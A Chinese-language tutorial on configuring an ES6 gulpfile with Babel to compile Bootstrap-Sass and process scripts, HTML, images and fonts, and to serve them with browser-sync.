基于 ES6 语法使用 Gulp 编写 gulpfile.babel.js 来编译 BootStrap-Sass 源码。

下面是一些准备工作，没有做好的小伙伴请按照步骤一一完成。

安装 Node.js 和 NPM

从 Node 的官网下载 Node 并安装，安装流程不详细说明，安装完成之后 NPM 随之就会安装成功。 命令行下输入 npm 检查一下是否可以正常运行。

安装 Gulp

1

npm install -g gulp

加入 -g 参数是全局安装，安装完成之后你可以在任意位置使用命令。

安装 Bower

1

npm install -g bower

依然是全局安装 bower。

下载 BootStrap-Sass

可直接进入 BootStrap 页面点击第三个下载 Sass 源码。 也可以用 Git 将 BootStrap-Sass 的项目 clone 下来。

安装 WebStorm

推荐使用 WebStorm，可以开启 JsHint 等检测工具，具有强大的代码提示功能，不过不使用也没关系。 在你的 IDE 打开下载的项目，

新建 gulpfile.babel.js

gulpfile.babel.js 是基于 ES6 的 Gulp 处理文件，新建它，稍后所有的工作都在这里完成。

新建 .babelrc

新建 .babelrc 文件，内容

1
2
3
4
5

{
  "presets": [
    "es2015"
  ]
}

这是指定 gulp 使用最新标准的 JavaScript 进行编译。

新建 .bowerrc

新建 .bowerrc 文件，这是 bower 的配置文件，可以指定路径等相关配置，内容为

1
2
3

{
  "directory": "bower_components"
}

这是指定 bower 工具下载前端组件时会默认下载到这个文件夹中。

修改 bower.json

可以精简 bower.json 文件，比如修改名称，删去 main，ignore 配置等。 比如精简成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

{
  "name": "bootstrap-sass-demo",
  "authors": [
    "Germey"
  ],
  "description": "bootstrap-sass is a Sass-powered version of Bootstrap, ready to drop right into your Sass powered applications.",
  "moduleType": "globals",
  "keywords": [
    "twbs",
    "bootstrap",
    "sass"
  ],
  "license": "MIT",
  "dependencies": {
    "jquery": ">= 1.9.0"
  }
}

修改 package.json 在进行 Gulp 配置文件编写之前，首先需要引入一些 Node.js 开发包，比如 babel，gulp，wiredep等等。 修改 devDependencies 为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

"devDependencies": {
    "babel-core": "^6.4.0",
    "babel-preset-es2015": "^6.3.13",
    "babel-register": "^6.9.0",
    "browser-sync": "^2.2.1",
    "del": "^1.1.1",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.0.1",
    "gulp-babel": "^6.1.1",
    "gulp-cache": "^0.2.8",
    "gulp-cssnano": "^2.0.0",
    "gulp-eslint": "^0.13.2",
    "gulp-htmlmin": "^1.3.0",
    "gulp-if": "^1.2.5",
    "gulp-imagemin": "^2.2.1",
    "gulp-load-plugins": "^0.10.0",
    "gulp-plumber": "^1.0.1",
    "gulp-sass": "^2.0.0",
    "gulp-size": "^1.2.1",
    "gulp-sourcemaps": "^1.5.0",
    "gulp-uglify": "^1.1.0",
    "gulp-useref": "^3.0.0",
    "main-bower-files": "^2.5.0",
    "wiredep": "^2.2.2"
  }

执行

1

npm install

安装所需要的库。 如此一来，所有的准备工作就差不多了。

实战

引入类库

首先引入一些必须的类库

1
2
3
4
5

import gulp from 'gulp';
import gulpLoadPlugins from 'gulp-load-plugins';
import browserSync from 'browser-sync'
import del from 'del';
import {stream as wiredep} from 'wiredep';

gulp 自不必多说，是 gulp 必须的核心类库。 gulp-load-plugins 是加载 gulp 插件的类库，我们知道 gulp 插件非常丰富，如果要一个个引入的话，需要写很多很多条 import 语句，引入了这个插件之后，调用时只需要加 点(.) + 插件名称 那就可以使用了。 browser-sync 是浏览器同步工具，如果有代码更新，浏览器会自动刷新更新资源。 del 是删除资源的工具包。 wiredep 是从 bower 同步到 html 中资源引用的插件，bower 中定义了依赖包，有了它，这些包的引用比如 js，css 就可以直接自动生成到 html 文件中。 接着初始化一些变量。

1
2

const $ = gulpLoadPlugins();
const reload = browserSync.reload;

将加载插件的插件初始化为 $ 符号，然后初始化 reload 等变量。

Sass 编译

下载好 Sass 源码之后，打开 assets/stylesheets 目录，可以看到 BootStrap 的 Sass 源代码。不过发现文件名都是 _ 开头的，这种类型的文件是不能被编译生成的，所以新建一个 bootstrap.sass 文件，内容为

1

@import "_bootstrap";

最后生成的目录结构如下

1
2
3
4
5

|_____bootstrap-compass.scss
|_____bootstrap-mincer.scss
|_____bootstrap-sprockets.scss
|_____bootstrap.scss
|____bootstrap

接下来我们只需要编译 bootstrap.scss 即可。 定义一个路径配置

1
2
3
4

const styles = {
    'in': 'assets/stylesheets/**/*.scss',
    'tmp': '.tmp/css',
};

包含 in 和 tmp 目录，in 代表 Sass 源文件地址，tmp 代表生成的编译后的 CSS 目录。 接下来最重要的，指定一个 Gulp Task

1
2
3
4
5
6
7
8
9
10
11
12
13
14

gulp.task('styles', () => {
    return gulp.src(styles.in)
        .pipe($.plumber())
        .pipe($.sourcemaps.init())
        .pipe($.sass.sync({
            outputStyle: 'expanded',
            precision: 10,
            includePaths: ['.']
        }).on('error', $.sass.logError))
        .pipe($.autoprefixer({browsers: ['> 1%', 'last 2 versions', 'Firefox ESR']}))
        .pipe($.sourcemaps.write())
        .pipe(gulp.dest(styles.tmp))
        .pipe(reload({stream: true}));
});

task 是 gulp 的一个核心方法，定义了 styles 这个 task 之后，就可以执行

1

gulp styles

就可以完成以上定义的任务。 首先利用 gulp.src 引入了需要编译的 Sass 文件，然后利用一系列 pipe 流式管道来指定一系列处理任务。 plumber 是一个错误处理插件，当出现错误时，不会立即卡主，而是进入 plumber，防止程序运行终止。 sourcemaps 是用来生成映射文件的一个插件，map 文件记录了从 Sass 编译成 CSS 的过程中，每一行的 Sass 代码对应哪一行的 CSS 代码。 sass 是核心的编译 Sass 的插件，指定了输出格式 expanded，precision 指定了当输出十进制数字时，使用多少位的精度，然后指定了路径和错误日志。 autoprefixer 是一个以友好方式处理浏览器前缀的插件，比如一些 CSS 的定义会出现 -webkit- 等等，此插件是用来处理浏览器前缀的。

Autoprefixer默认将支持主流浏览器最近2个版本，这点类似Google。不过你可以在自己的项目中通过名称或者模式进行选择： 主流浏览器最近2个版本用“last 2 versions”； 全球统计有超过1%的使用率使用“>1%”; 仅新版本用“ff>20”或”ff>=20”. 然后Autoprefixer计算哪些前缀是需要的，哪些是已经过期的。

dest 是输出编译后的文件，指定输出路径。 reload 是同步浏览器资源的方法。 定义好如上内容之后，命令行输入

1

gulp styles

就会发现出现了 .tmp 目录，里面有 css/bootstrap.css

JavaScript 处理

同理，定义一个 task，用来处理 JavaScript

1
2
3
4
5
6
7
8
9

gulp.task('scripts', () => {
    return gulp.src(scripts.in)
        .pipe($.plumber())
        .pipe($.sourcemaps.init())
        .pipe($.babel())
        .pipe($.sourcemaps.write('.'))
        .pipe(gulp.dest(scripts.tmp))
        .pipe(reload({stream: true}));
});

相比之下，此处多了一个 babel 插件。 babel 是基于 ES6 标准的一个 JavaScript 插件，它可以对 ES6 版本的代码进行转换，转换成 ES5 标准，避免出现出现 ES6 不兼容问题。 在此处还需要 scripts 的路径定义

1
2
3
4
5

const scripts = {
    'in': 'assets/javascripts/**/*.js',
    'tmp': '.tmp/js',
    'out': 'dist/js'
};

定义完成之后，执行

1

gulp scripts

就可以完成 JavaScript 的转换。 另外还有一个专门负责代码风格转换的 task，使用了 eslint 这个插件

1
2
3
4
5
6
7
8
9

const lint = {
    'in': 'assets/javascripts/**/*.js'
};
gulp.task('lint', () => {
    return gulp.src(lint.in)
        .pipe(reload({stream: true, once: true}))
        .pipe($.eslint.format())
        .pipe($.if(!browserSync.active, $.eslint.failAfterError()));
});

执行

1

gulp lint

之后，就可以进行代码风格的标准化。

HTML处理

我们可以发现，在前面的输出路径都是 .tmp 临时目录，后面还会有一个目录是 dist 目录，试想一下，如果我们编译了 BootStrap 而在 HTML 中没有引用，那编译来还有必要吗？ 所以说，.tmp 作为临时目录，它可以存放被编译后的文件，但是不一定会被引用。被真正引用的文件才是真正有用的文件，我们将它放到 dist 目录。 所以接下来的 HTML 处理就是检查一下有哪些 CSS 和 JS 被引用了，可以将它们合并，然后将新的文件放到 dist 并更新它的引用路径。

1
2
3
4
5
6
7
8
9
10
11
12

const html = {
    'in': 'assets/*.html',
    'out': 'dist'
};
gulp.task('html', ['styles', 'scripts'], () => {
    return gulp.src(html.in)
        .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
        .pipe($.if('*.js', $.uglify()))
        .pipe($.if('*.css', $.cssnano()))
        .pipe($.if('*.html', $.htmlmin({collapseWhitespace: true})))
        .pipe(gulp.dest(html.out));
});

在这里定义了一个 task 叫做 html，第二个参数是 styles 和 scripts 组成的数组，意思是在执行这个 task 之前，首先要执行这两个任务。 在处理时用到了 useref 这个插件，它可以检测 HTML 中引用的 CSS 和 JS，可以执行合并和压缩，然后更新新的路径。 这个插件的作用如上所述。 比如 HTML 当前内容是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <!-- bower:css -->
    <!-- endbower -->
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->
</head>
<body>
<h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4>
</body>
    <!-- bower:js -->
    <!-- endbower -->
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->
</html>

可以看到

1
2
3

<!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
<!-- endbuild -->

这里引用了 .tmp 目录下的 bootstrap.css，然后在外面用注释的形式定义了构建的路径和文件名。 那么执行这个任务之后，它便会将当前引用的 .tmp 目录下的 bootstrap.css 处理并输出为 combined.css，然后新生成的 HTML 文件的引用路径也相应改为 combined.css JS 也是同理

1
2
3
4

<!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
<!-- endbuild -->

在此处是将两个文件处理合并为 combined.js 执行

1

gulp html

后，会新生成一个 HTML 文件到 dist 目录，内容为

1
2
3
4
5
6
7
8
9
10

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome</title><!-- bower:css --><!-- endbower -->
    <link rel="stylesheet" href="css/combined.css">
</head>
<body><h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4></body><!-- bower:js --><!-- endbower -->
<script src="js/combined.js"></script>
</html>

dist 的目录结构为

1
2
3
4
5

|____css
| |____combined.css
|____index.html
|____js
| |____combined.js

以上为利用 useref 插件进行 HTML 处理的过程。

图片压缩处理

接下来是对图片字体及其他格式文件的处理。 图片的主要处理是进行压缩

1
2
3
4
5
6
7
8
9
10
11
12
13

const images = {
    'in': 'assets/images/**/*',
    'out': 'dist/images'
};
gulp.task('images', () => {
    return gulp.src(images.in)
        .pipe($.imagemin({
            progressive: true,
            interlaced: true,
            svgoPlugins: [{cleanupIDs: false}]
        }))
        .pipe(gulp.dest(images.out));
});

定义好了 images 的输入和输出路径之后，定义 images 这个 task，在这里使用了 imagemin 这个插件 imagemin 插件是用来压缩图片的插件，处理后图片的占用空间会变小。 执行

1

gulp images

即可完成对图片的压缩

字体处理

字体的处理，筛选出某些特定格式的字体，输出到指定目录

1
2
3
4
5
6
7
8
9
10
11
12

const fonts = {
    'in': ['assets/fonts/bootstrap/*'],
    'tmp': '.tmp/fonts',
    'out': 'dist/fonts'
};
gulp.task('fonts', () => {
    return gulp.src(require('main-bower-files')('**/*.{eot,svg,ttf,woff,woff2}', function(err) {
    })
        .concat(fonts.in))
        .pipe(gulp.dest(fonts.tmp))
        .pipe(gulp.dest(fonts.out));
});

执行

1

gulp fonts

即可完成字体的处理

额外文件处理

在项目中还存在非 HTML 的文件，比如 视频，音频，PHP等。这些做一下统一判断然后归档即可。

1
2
3
4
5
6
7
8
9
10
11
12

const extras = {
    'in': [
        'assets/*.*',
        '!assets/*.html'
    ],
    'out': 'dist'
};
gulp.task('extras', () => {
    return gulp.src(extras.in, {
        dot: true
    }).pipe(gulp.dest(extras.out));
});

其中 in 指定了在 asset 目录中除 html 后缀的文件，此处进行读入筛选，然后输出到指定路径即可。 执行

1

gulp extras

即可完成额外文件的处理

文件依赖处理

设想一个情景，一个项目需要很多很多依赖库，我们在 bower.json 中定义好了所有的依赖，使用 bower 将他们下载了下来，如果我们需要在 HTML 中引用他们，如果我们还是手动地添加一个个引用那是不是太麻烦了？ 没错，这个操作同样可以自动化操作，借助 wiredep 插件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

const wire = {
    'in': 'assets/*.html',
    'out': 'dist'
};
gulp.task('wiredep', () => {
    gulp.src(wire.in)
        .pipe(wiredep({
            ignorePath: /^(\.\.\/)*\.\./
        }))
        .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
        .pipe($.if('*.js', $.uglify()))
        .pipe($.if('*.css', $.cssnano()))
        .pipe(gulp.dest(wire.out));
});

在这里使用了 wiredep 插件。 在 HTML中定义如下内容

1
2

<!-- bower:js -->
<!-- endbower -->

执行

1

gulp wiredep

之后，便会自动更新 bower.json 中所有依赖库的引用，在这里以 JS 为例子。 当前在 bower.json 中定义了

1
2
3

"dependencies": {
    "jquery": ">= 1.9.0"
  }

执行完毕之后，HTML中便有了

1
2
3

<!-- bower:js -->
<script src="/bower_components/jquery/dist/jquery.js"></script>
<!-- endbower -->

路径会随之更新。

服务器

最后是一个 serve 的 task 在本地搭建一个服务器来测试，同时监听文件的变动随时更新资源文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

const serve = {
    'baseDir': ['.tmp', 'assets'],
    'baseDirDist': ['dist'],
    'routes': {
        '/bower_components': 'bower_components'
    },
    'port': 9000
};
gulp.task('serve', ['styles', 'scripts', 'fonts', 'wiredep'], () => {
    browserSync({
        notify: false,
        port: serve.port,
        server: {
            baseDir: serve.baseDir,
            routes: serve.routes
        }
    });
    gulp.watch([
        html.out, scripts.tmp, scripts.out, images.out, fonts.tmp, fonts.out
    ]).on('change', reload);
    gulp.watch(styles.in, ['styles']);
    gulp.watch(scripts.in, ['scripts']);
    gulp.watch(fonts.in, ['fonts']);
    gulp.watch('bower.json', ['wiredep', 'fonts']);
});
gulp.task('serve:dist', () => {
    browserSync({
        notify: false,
        port: serve.port,
        server: {
            baseDir: serve.baseDirDist
        }
    });
});